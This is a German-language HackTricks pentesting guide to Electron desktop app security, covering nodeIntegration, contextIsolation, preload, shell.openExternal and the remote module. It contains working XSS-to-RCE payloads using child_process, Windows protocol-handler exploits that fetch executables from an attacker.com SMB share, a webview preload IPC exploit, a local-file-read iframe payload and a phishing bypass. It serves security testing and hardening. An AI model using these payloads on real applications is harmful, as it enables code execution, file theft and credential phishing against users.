Electron Desktop Apps

Reading time: 17 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Einführung

Electron kombiniert ein lokales Backend (mit NodeJS) und ein Frontend (Chromium), obwohl es einige der Sicherheitsmechanismen moderner Browser vermissen lässt.

Normalerweise finden Sie den Code der Electron-App in einer .asar-Anwendung. Um den Code zu erhalten, müssen Sie ihn extrahieren:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Im Quellcode einer Electron-App, innerhalb von packet.json, finden Sie die angegebene main.js-Datei, in der die Sicherheitskonfigurationen festgelegt sind.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron hat 2 Prozessarten:

  • Hauptprozess (hat vollständigen Zugriff auf NodeJS)
  • Renderer-Prozess (sollte aus Sicherheitsgründen eingeschränkten Zugriff auf NodeJS haben)

Ein Renderer-Prozess wird ein Browserfenster sein, das eine Datei lädt:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Die Einstellungen des Renderer-Prozesses können im Hauptprozess in der main.js-Datei konfiguriert werden. Einige der Konfigurationen werden verhindern, dass die Electron-Anwendung RCE oder andere Schwachstellen hat, wenn die Einstellungen korrekt konfiguriert sind.

Die Electron-Anwendung könnte auf das Gerät zugreifen über Node-APIs, obwohl sie so konfiguriert werden kann, dass dies verhindert wird:

  • nodeIntegration - ist standardmäßig aus. Wenn aktiviert, ermöglicht den Zugriff auf Node-Funktionen vom Renderer-Prozess.
  • contextIsolation - ist standardmäßig ein. Wenn deaktiviert, sind Haupt- und Renderer-Prozesse nicht isoliert.
  • preload - standardmäßig leer.
  • sandbox - ist standardmäßig deaktiviert. Es wird die Aktionen einschränken, die NodeJS ausführen kann.
  • Node-Integration in Workern
  • nodeIntegrationInSubframes - ist standardmäßig aus.
  • Wenn nodeIntegration aktiviert ist, würde dies die Verwendung von Node.js-APIs in Webseiten ermöglichen, die in iframes innerhalb einer Electron-Anwendung geladen werden.
  • Wenn nodeIntegration deaktiviert ist, werden Preloads im iframe geladen.

Beispiel für eine Konfiguration:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Einige RCE-Payloads von hier:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Verkehr erfassen

Ändern Sie die start-main-Konfiguration und fügen Sie die Verwendung eines Proxys hinzu, wie:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

Wenn Sie eine Electron-App lokal ausführen können, ist es möglich, dass Sie sie dazu bringen können, beliebigen JavaScript-Code auszuführen. Überprüfen Sie, wie:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Wenn nodeIntegration auf on gesetzt ist, kann der JavaScript-Code einer Webseite die Node.js-Funktionen einfach durch Aufrufen von require() nutzen. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Das in dieser Einstellung angegebene Skript wird vor anderen Skripten im Renderer geladen, sodass es uneingeschränkten Zugriff auf Node-APIs hat:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Daher kann das Skript node-features auf Seiten exportieren:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Wenn contextIsolation aktiviert ist, funktioniert das nicht

RCE: XSS + contextIsolation

Das contextIsolation führt die getrennten Kontexte zwischen den Webseitenskripten und dem internen JavaScript-Code von Electron ein, sodass die JavaScript-Ausführung jedes Codes sich nicht gegenseitig beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE zu eliminieren.

Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:

  1. Willkürliches JavaScript im Renderer ausführen (XSS oder Navigation zu externen Seiten)
  2. Die eingebaute Methode überschreiben, die im Preload oder im internen Code von Electron verwendet wird, um eine eigene Funktion zu erstellen
  3. Die Verwendung der überschriebenen Funktion auslösen
  4. RCE?

Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: Im Preload-Code oder im internen Code von Electron:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Umgehung des Klickereignisses

Wenn beim Klicken auf einen Link Einschränkungen gelten, könnten Sie in der Lage sein, diese durch einen Mittelklick anstelle eines regulären Linksklicks zu umgehen.

javascript
window.addEventListener('click', (e) => {

RCE über shell.openExternal

Für weitere Informationen zu diesen Beispielen siehe https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 und https://benjamin-altpeter.de/shell-openexternal-dangers/

Beim Bereitstellen einer Electron-Desktop-Anwendung ist es entscheidend, die richtigen Einstellungen für nodeIntegration und contextIsolation sicherzustellen. Es ist festgestellt, dass client-seitige Remote-Code-Ausführung (RCE), die auf Preload-Skripte oder den nativen Code von Electron aus dem Hauptprozess abzielt, mit diesen Einstellungen effektiv verhindert wird.

Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden spezifische Ereignis-Listener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Diese Listener werden vom Desktop-Anwendungsprogramm überschrieben, um ihre eigene Geschäftslogik zu implementieren. Die Anwendung bewertet, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, openInternally, getroffen. Wenn diese Funktion false zurückgibt, bedeutet dies, dass der Link extern geöffnet werden soll, unter Verwendung der Funktion shell.openExternal.

Hier ist ein vereinfachter Pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Die besten Sicherheitspraktiken von Electron JS raten davon ab, nicht vertrauenswürdige Inhalte mit der Funktion openExternal zu akzeptieren, da dies zu RCE durch verschiedene Protokolle führen könnte. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erklärungen zu diesem Thema kann auf diese Ressource verwiesen werden, die Windows-Protokollexemplare enthält, die diese Schwachstelle ausnutzen können.

In macOS kann die Funktion openExternal ausgenutzt werden, um beliebige Befehle auszuführen, wie in shell.openExternal('file:///System/Applications/Calculator.app').

Beispiele für Windows-Protokollausnutzungen sind:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + verwundbarer preload IPC + shell.openExternal

Diese Schwachstelle kann in diesem Bericht gefunden werden.

Das webviewTag ist ein veraltetes Feature, das die Verwendung von NodeJS im Renderer-Prozess ermöglicht, was deaktiviert werden sollte, da es das Laden eines Skripts im Preload-Kontext erlaubt, wie:

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Daher könnte ein Angreifer, der es schafft, eine beliebige Seite zu laden, dieses Tag verwenden, um ein beliebiges Preload-Skript zu laden.

Dieses Preload-Skript wurde dann missbraucht, um einen anfälligen IPC-Dienst (skype-new-window) aufzurufen, der shell.openExternal aufrief, um RCE zu erhalten:

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

Interne Dateien lesen: XSS + contextIsolation

Das Deaktivieren von contextIsolation ermöglicht die Verwendung von <webview>-Tags, ähnlich wie <iframe>, zum Lesen und Exfiltrieren lokaler Dateien. Ein bereitgestelltes Beispiel zeigt, wie man diese Schwachstelle ausnutzt, um den Inhalt interner Dateien zu lesen:

Darüber hinaus wird eine weitere Methode zum Lesen einer internen Datei geteilt, die eine kritische Schwachstelle zum Lesen lokaler Dateien in einer Electron-Desktop-App hervorhebt. Dies beinhaltet das Injizieren eines Skripts, um die Anwendung auszunutzen und Daten zu exfiltrieren:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Alte Chromium-Version

Wenn die chromium, die von der Anwendung verwendet wird, alt ist und es bekannte Sicherheitsanfälligkeiten gibt, könnte es möglich sein, sie zu nutzen und RCE über ein XSS zu erlangen.
Siehe ein Beispiel in diesem writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS-Phishing über internen URL-Regulärausdruck-Bypass

Angenommen, Sie haben ein XSS gefunden, aber Sie können RCE nicht auslösen oder interne Dateien stehlen, könnten Sie versuchen, es zu nutzen, um Anmeldeinformationen über Phishing zu stehlen.

Zunächst müssen Sie wissen, was passiert, wenn Sie versuchen, eine neue URL zu öffnen, indem Sie den JS-Code im Front-End überprüfen:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Der Aufruf von openInternally entscheidet, ob der Link im Desktop-Fenster geöffnet wird, da es sich um einen Link handelt, der zur Plattform gehört, oder ob er im Browser als Drittanbieter-Ressource geöffnet wird.

Falls der von der Funktion verwendete Regex anfällig für Umgehungen ist (zum Beispiel durch das Nicht-Escapen der Punkte von Subdomains), könnte ein Angreifer das XSS ausnutzen, um ein neues Fenster zu öffnen, das sich in der Infrastruktur des Angreifers befindet und den Benutzer nach Anmeldeinformationen fragt:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// Protokoll

Wie in den Docs erwähnt, haben Seiten, die auf file:// laufen, einseitigen Zugriff auf jede Datei auf Ihrem Computer, was bedeutet, dass XSS-Probleme verwendet werden können, um beliebige Dateien vom Computer des Benutzers zu laden. Die Verwendung eines benutzerdefinierten Protokolls verhindert solche Probleme, da Sie das Protokoll auf das Bereitstellen eines bestimmten Satzes von Dateien beschränken können.

Remote-Modul

Das Electron Remote-Modul ermöglicht Renderer-Prozessen den Zugriff auf APIs des Hauptprozesses, was die Kommunikation innerhalb einer Electron-Anwendung erleichtert. Das Aktivieren dieses Moduls bringt jedoch erhebliche Sicherheitsrisiken mit sich. Es erweitert die Angriffsfläche der Anwendung und macht sie anfälliger für Schwachstellen wie Cross-Site-Scripting (XSS)-Angriffe.

tip

Obwohl das remote-Modul einige APIs vom Haupt- zu Renderer-Prozessen exponiert, ist es nicht einfach, RCE nur durch den Missbrauch der Komponenten zu erhalten. Die Komponenten könnten jedoch sensible Informationen offenlegen.

warning

Viele Apps, die das Remote-Modul weiterhin verwenden, tun dies auf eine Weise, die NodeIntegration im Renderer-Prozess aktiviert erfordert, was ein großes Sicherheitsrisiko darstellt.

Seit Electron 14 könnte das remote-Modul von Electron aus mehreren Gründen, die mit Sicherheit und Leistung zusammenhängen, aktiviert werden; es wird empfohlen, es nicht zu verwenden.

Um es zu aktivieren, muss es zuerst im Hauptprozess aktiviert werden:

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

Dann kann der Renderer-Prozess Objekte aus dem Modul importieren, das er wie folgt:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

Der Blogbeitrag weist auf einige interessante Funktionen hin, die vom Objekt app aus dem Remote-Modul bereitgestellt werden:

  • app.relaunch([options])
  • Startet die Anwendung neu, indem die aktuelle Instanz beendet und eine neue gestart wird. Nützlich für App-Updates oder signifikante Zustandsänderungen.
  • app.setAppLogsPath([path])
  • Definiert oder erstellt ein Verzeichnis zum Speichern von App-Protokollen. Die Protokolle können mit app.getPath() oder app.setPath(pathName, newPath) abgerufen oder modifiziert werden.
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • Registriert die aktuelle ausführbare Datei als den Standard-Handler für ein bestimmtes Protokoll. Sie können bei Bedarf einen benutzerdefinierten Pfad und Argumente angeben.
  • app.setUserTasks(tasks)
  • Fügt Aufgaben zur Aufgabenkategorie in der Jump List (unter Windows) hinzu. Jede Aufgabe kann steuern, wie die App gestart wird oder welche Argumente übergeben werden.
  • app.importCertificate(options, callback)
  • Importiert ein PKCS#12-Zertifikat in den Zertifikatspeicher des Systems (nur Linux). Ein Callback kann verwendet werden, um das Ergebnis zu verarbeiten.
  • app.moveToApplicationsFolder([options])
  • Verschiebt die Anwendung in den Anwendungsordner (unter macOS). Hilft, eine Standardinstallation für Mac-Benutzer sicherzustellen.
  • app.setJumpList(categories)
  • Setzt oder entfernt eine benutzerdefinierte Jump List unter Windows. Sie können Kategorien angeben, um zu organisieren, wie Aufgaben dem Benutzer angezeigt werden.
  • app.setLoginItemSettings(settings)
  • Konfiguriert, welche ausführbaren Dateien beim Login zusammen mit ihren Optionen (nur macOS und Windows) gestartet werden.
javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences-Modul

Die primäre API zum Zugriff auf Systemeinstellungen und zum Auslösen von Systemereignissen in Electron. Methoden wie subscribeNotification, subscribeWorkspaceNotification, getUserDefault und setUserDefault sind alle Teil von diesem Modul.

Beispielverwendung:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Hört auf native macOS-Benachrichtigungen über NSDistributedNotificationCenter.
  • Vor macOS Catalina konnte man alle verteilten Benachrichtigungen abfangen, indem man nil an CFNotificationCenterAddObserver übergab.
  • Nach Catalina / Big Sur können sandboxed Apps weiterhin auf viele Ereignisse (zum Beispiel Bildschirm sperren/entsperren, Volume-Mounts, Netzwerkaktivität usw.) abonnieren, indem sie Benachrichtigungen nach Namen registrieren.

getUserDefault / setUserDefault

  • Interagiert mit NSUserDefaults, das Anwendungs- oder globale Einstellungen auf macOS speichert.

  • getUserDefault kann sensible Informationen abrufen, wie Standorte kürzlich verwendeter Dateien oder geografische Standorte des Benutzers.

  • setUserDefault kann diese Einstellungen ändern, was die Konfiguration einer App potenziell beeinflussen kann.

  • In älteren Electron-Versionen (vor v8.3.0) war nur die Standard-Suite von NSUserDefaults zugänglich.

Shell.showItemInFolder

Diese Funktion zeigt die angegebene Datei in einem Dateimanager an, was die Datei automatisch ausführen könnte.

Für weitere Informationen siehe https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron-Apps sollten eine Content Security Policy (CSP) haben, um XSS-Angriffe zu verhindern. Die CSP ist ein Sicherheitsstandard, der hilft, die Ausführung von nicht vertrauenswürdigem Code im Browser zu verhindern.

Sie wird normalerweise in der main.js-Datei oder in der index.html-Vorlage mit der CSP innerhalb eines meta-Tags konfiguriert.

Für weitere Informationen siehe:

Content Security Policy (CSP) Bypass

Tools

  • Electronegativity ist ein Tool zur Identifizierung von Fehlkonfigurationen und Sicherheitsantipatterns in Electron-basierten Anwendungen.
  • Electrolint ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
  • nodejsscan zur Überprüfung auf anfällige Drittanbieterbibliotheken
  • Electro.ng: Sie müssen es kaufen

Labs

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s finden Sie ein Labor, um anfällige Electron-Apps auszunutzen.

Einige Befehle, die Ihnen im Labor helfen werden:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks